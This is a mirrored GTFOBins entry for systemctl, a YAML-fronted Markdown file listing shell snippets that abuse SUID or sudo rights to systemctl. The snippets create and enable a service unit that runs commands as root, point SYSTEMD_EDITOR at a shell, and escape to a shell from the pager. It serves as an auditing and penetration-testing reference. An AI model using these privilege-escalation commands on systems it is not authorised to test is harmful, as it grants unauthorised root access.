mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
aa08187718
Close #65.
33 lines
883 B
Markdown
33 lines
883 B
Markdown
---
|
|
functions:
|
|
suid:
|
|
- code: |
|
|
TF=$(mktemp).service
|
|
echo '[Service]
|
|
Type=oneshot
|
|
ExecStart=/bin/sh -c "id > /tmp/output"
|
|
[Install]
|
|
WantedBy=multi-user.target' > $TF
|
|
./systemctl link $TF
|
|
./systemctl enable --now $TF
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo /bin/sh >$TF
|
|
chmod +x $TF
|
|
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
|
|
- code: |
|
|
TF=$(mktemp).service
|
|
echo '[Service]
|
|
Type=oneshot
|
|
ExecStart=/bin/sh -c "id > /tmp/output"
|
|
[Install]
|
|
WantedBy=multi-user.target' > $TF
|
|
sudo systemctl link $TF
|
|
sudo systemctl enable --now $TF
|
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
code: |
|
|
sudo systemctl
|
|
!sh
|
|
---
|